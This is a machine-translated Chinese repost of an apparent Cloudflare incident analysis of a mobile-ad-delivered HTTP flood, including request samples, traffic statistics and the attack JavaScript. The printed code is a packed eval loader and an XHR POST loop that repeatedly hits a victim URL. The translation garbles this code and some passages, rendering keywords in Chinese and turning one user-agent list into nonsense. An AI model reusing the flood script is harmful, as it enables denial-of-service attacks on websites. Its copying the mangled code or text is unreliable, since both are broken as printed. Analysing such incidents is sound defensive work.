云服务器价格_云数据库_云主机【优惠】最新活动-搜集站云资讯

轻量服务器_bootcdn_怎么买

小七 141 0

移动广告网络作为DDoS载体的案例研究

CloudFlare服务器一直是DDoS攻击的目标。我们可以看到从企图的DNS反射攻击到涉及大型僵尸网络的l7http洪水。最近一场不寻常的洪水引起了我们的注意。一位随叫随到的站点可靠性工程师注意到有大量的HTTP请求针对我们的一个客户发出。请求以下是其中一个请求:POST/js/404.js HTTP/1.1主持人:网站连接:保持活动状态内容长度:426产地:用户代理:Mozilla/5.0(Linux;U;Android 4.4.4;zh-cn;MI 4LTE Build/KTU84P)AppleWebKit/537.36(KHTML,like Gecko)版本/4.0 Chrome/42.0.0.0 Mobile Safari/537.36小米/MiuiBrowser/2.1.1内容类型:application/x-www-form-urlencoded接受:*/*推荐人:接受编码:gzip,deflate接受语言:zh-CN,en-US;q=0.8主办办SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss我们收到了数以百万计的类似请求,显然是洪水泛滥。让我们更深入地了解一下这个请求。首先,让我们注意头看起来是合法的。我们经常看到Python或Ruby脚本发出的洪流,带有奇怪的Accept语言或用户代理头。但这个看起来不像。此请求是由真实浏览器发出的正确请求。接下来,注意请求是一个POST,包含一个Origin头-它是由Ajax(XHR)跨源调用发出的。最后,参考者指向对我们的服务器发出这些查询的网站。我们检查:网址是正确的,网站是可访问的。基于浏览器的洪水长期以来,基于浏览器的L7洪灾一直是理论上的威胁。阅读尼克·沙利文关于它们如何工作的解释。最早提到的一个例子是在2010年,当时Lavakumar Kuppan提议在DoS中滥用浏览器HTML5功能。2013年,Jeremiah Grossman和Matt Johansen建议将网络广告作为恶意JavaScript的传播媒介。今年的一篇论文讨论了这种攻击的理论代价。最后,在四月份,有报道称大炮用一种新的方法分发JavaScript——通过将原始的TCP段注入到传递的连接中。就在本周,一个有缺陷的流行图片托管网站被用来攻击另一个网站。最大的困难似乎不是创建JavaScript而是有效地分发它。由于一个有效的分布向量在发布大洪水中是至关重要的,到目前为止,我还没有看到很多基于浏览器的大洪水。这就是为什么上面描述的洪水很有趣-它相当大,峰值超过每秒275000个HTTP请求。攻击页面为了调查洪水的源头,我们跟踪了Referer报头。这是一次激动人心的旅行。来自Referer的网页看起来像一个链接农场或一个广告聚合器-想象一下在一个页面中央有几十个闪烁和叫喊的横幅,什么都没有。对于这个讨论,我们把这个页面称为"攻击站点"。这个页面是用基本HTML编写的,并使用了几个简单的JavaScript例程。它加载了三个小的JavaScript文件,其中一个名为计数.js. 它包含了一些不引人注意的东西文档.写入语句,后面是50行新行和这个模糊代码:eval(函数(p、p、a、c、k、e、r){e=字符串;如果‘0’。replace(0,e)==0{而(c--)r[e(c)]=k[c];k=[函数(e){返回r[e];| | e};e=e=function(){返回‘0-8]'};c=1};c=1};而(c—)如果(k[c])PP=p p p.REPLAE(新的REGEEXP(''''+e(c)+‘e(c)+"\\b’+‘b’+‘b’,‘g'),k[c]);返回k[c]);返回期间,k[c]);返回p}('2.3("");2.3("");',[],9,'script | js | document | writeln | src | http | www | com | css'.split(''124;',0,{}))粘贴到Js Beautifier上显示了以下内容:文档.writeln("";文档.writeln("";原来jquery2.js包含恶意JavaScript。它也不太复杂,这里有一个片段:变量苏的主要特点是取得了多方面的主要特点,取得了主要的数据数据,取得了SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata';var t\u url8='http://www.victive.com/js/404.js';函数post_send(){var xmlHttp=c xmlHttp();xmlHttp.open("POST",tu url8,true);xmlHttp.setRequestHeader("内容类型","application/x-www-form-urlencoded");xmlHttp.send(t_postdata);r_send();}函数r\u send(){setTimeout("post_send()",50);}如果(!+[1,]{/即var fghj=1;}其他{setTimeout("post_send()",3000);}上面的恶意脚本只是在循环中启动XHR。另一方面,它使用了一种相当聪明的方法来检测IE。我们不知道如果(!+[1,])可用于检测Internet Explorer 9及更早版本。分析日志上图显示了洪水是如何随着时间的推移而逐渐上升的,洪峰出现在约1400 UTC。在那一天,我们收到了45亿个针对目标域的请求,由65万个唯一IP发出。由于洪水非常有趣,我们编写了一个专用的脚本,能够进一步分析1700万条日志行,约占总请求的0.4%。洪水来自一个国家:99.8%中国0.2%其他我们的系统能够从用户代理中提取设备类型-80%的请求来自移动设备:72%移动电话23%台式机5%片剂引用URL没有明确的模式。参照域分布比较均匀。袭击我们的人控制了大量的领域:27.0%%http://www.attacksite2.com8.2%%http://www.attacksite4.com1.6%%http://www.attacksite6.com...众所周知,用户代理很难分析,但我们发现了几个有趣的:Thunder.Mozilla/5.0(Linux;U;Android 4.1.1;zh-cn;MI 2S Build/JRO03L)AppleWebKit/534.30(KHTML,像Gecko)版本/4.0 Mobile Safari/534.30类似iPhone手机的苹果手机(iPhone4/Mozilla/Mozilla)手机,类似于苹果手机(iPhone)和苹果手机(iPhone)的iPhone手机,类似于iPhone 4.6Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/31.0.1650.63 Safari/537.36 F1浏览器云海浏览器Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/44.0.2403.69 Safari/537.36 QQBrowser/9.0.3100.400Mozilla/5.0(Windows NT 5.1)AppleWebKit/537.36(KHTML,像Gecko)Chrome/39.0.2171.99 Safari/537.36 2345Explorer/6.1.0.8631Mozilla/5.0(Linux;U;Android 4.4.4;zh-CN;MI 3 Build/KTU84P)AppleWebKit/534.30(KHTML,like Gecko)版本/4.0 UCBrowser/10.6.2.626 U3/0.8.0 Mobile Safari/534.3像"iThunder"这样的字符串可能表示请求来自移动应用程序。其他如"MetaSr"、"F1Browser"、"QQBrowser"、"2345Explorer"和"UCBrowser"都指向了在中国流行的浏览器或浏览器应用程序。分布向量这是确凿证据的终结和猜测的开始。没有办法确切地知道为什么这么多移动设备访问了攻击页面,但最合理的分发媒介似乎是一个广告网络。用户很可能收到了包含恶意JavaScript的广告。这些广告很可能是在移动应用程序的iframe中显示的,也可能是在移动浏览器中向随意浏览互联网的人显示的。在洪水期间,我们能够查看数据包跟踪,我们确信攻击没有涉及到TCP数据包注入。总而言之,我们认为发生了这样的事情:一个用户随意浏览互联网或在智能手机上打开了一个应用程序。用户收到了一个带有广告的iframe。广告内容是从广告网络请求的。广告网络将请求转发给第三方,该第三方赢得了广告拍卖。要么第三方网站是"攻击页面",要么将用户转发到"攻击页面"。用户收到一个包含恶意JavaScript的攻击页面,该页面对CloudFlare服务器发起大量XHR请求。这样的攻击形成了一种新的趋势。它们给互联网带来了巨大的危险——对于小型网站运营商来说,抵御此类洪水并非易事。好消息是CloudFlare可以轻松、自动地处理这些攻击,而不会让大量HTTP请求冲击我们客户的基础设施。虽然我们的研究还处于早期阶段,但我们希望公布这些细节将有助于提高公众的认识,并希望帮助其他受影响的人。